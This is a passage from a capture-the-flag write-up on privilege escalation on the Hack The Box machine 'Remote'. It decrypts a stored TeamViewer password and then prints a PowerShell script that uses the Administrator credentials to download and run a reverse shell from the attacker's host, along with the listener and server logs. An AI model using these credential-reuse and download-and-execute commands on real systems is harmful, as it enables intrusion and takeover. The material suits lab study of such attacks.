47
108
226
209
225
243
218
126
141
55
107
38
57
78
91

These numbers are in decimal though whereas the script expects hexa and there’s an error when I ran the script

root@kali:~/CTF/HTB/Remote/PE# ./decrypt_tv.py
Traceback (most recent call last):
  File "./decrypt_tv.py", line 20, in 
    raw_un = AESCipher(key).decrypt(iv, ciphertext)
TypeError: AESCipher() takes no arguments

easily fixed when you google to change to __init__. The former can be achieved in Bash with

root@kali:~/CTF/HTB/Remote/PE# printf '%x\n' $(< password_aes)
ff
9b
1c
73
d6
6b
ce
31
ac
41
3e
ae
13
1b
46
4f
58
2f
6c
e2
d1
e1
f3
da
7e
8d
37
6b
26
39
4e
5b
root@kali:~/CTF/HTB/Remote/PE# printf '%x\n' $(< password_aes) | tr -d '\n'
ff9b1c73d66bce31ac413eae131b464f582f6ce2d1e1f3da7e8d376b26394e5b

This can then be edited into the script

hex_str_cipher = "ff9b1c73d66bce31ac413eae131b464f582f6ce2d1e1f3da7e8d376b26394e5b"

then run to get the password

root@kali:~/CTF/HTB/Remote/PE# ./decrypt_tv.py
00000000: 21 00 52 00 33 00 6D 00  30 00 74 00 65 00 21 00  !.R.3.m.0.t.e.!.
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
None
!R3m0te!

With this password I can do a RunAs.ps1 with the PS shell I already have

$username = "Remote\Administrator"
$password = '!R3m0te!'
$secstr = New-Object -TypeName System.Security.SecureString
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $username,$secstr
Invoke-Command -ScriptBlock {IEX(New-Object Net.WebClient).downloadString('http://10.10.14.78/rshell.ps1')} -Credential $cred -Computer localhost

and get a High integrity Administrator shell

root@kali:~/CTF/HTB/Remote/PE# rlwrap -r nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.78] from (UNKNOWN) [10.10.10.180] 49725
Windows PowerShell running as user Administrator on REMOTE
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator\Documents>whoami
remote\administrator
PS C:\Users\Administrator\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeBackupPrivilege                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

This will cause you to lose the lower priv shell though. You can keep it by backgrounding the job with

PS C:\> Start-Job -ScriptBlock { IEX(New-Object Net.WebClient).downloadString("http://10.10.14.78/RunAs.ps1") }

Id     Name            PSJobTypeName   State         HasMoreData     Location             Command
--     ----            -------------   -----         -----------     --------             -------
3      Job3            BackgroundJob   Running       True            localhost             IEX(New-Object Net.We...

PS C:\>

root@kali:~/CTF/HTB/Remote/PE# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.180 - - [05/Dec/2020 20:04:50] "GET /RunAs.ps1 HTTP/1.1" 200 -
10.10.10.180 - - [05/Dec/2020 20:04:51] "GET /rshell.ps1 HTTP/1.1" 200 -

root@kali:~/CTF/HTB/Remote/PE# rlwrap -r nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.78] from (UNKNOWN) [10.10.10.180] 49735
Windows PowerShell running as user Administrator on REMOTE
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator\Documents>whoami
remote\administrator

Lastly there’s a third way to escalate via kernel exploit with RoguePotato, a resurrected version of Juicy/Rotten potato. IppSec’s video actually got it working by accident, the proper way to trigger it is here.

Lessons learned

  • Enumerating NFS shares
  • Checking .NET Framework version properly
  • Discovering that msfvenom’s exe-service format doesn’t work.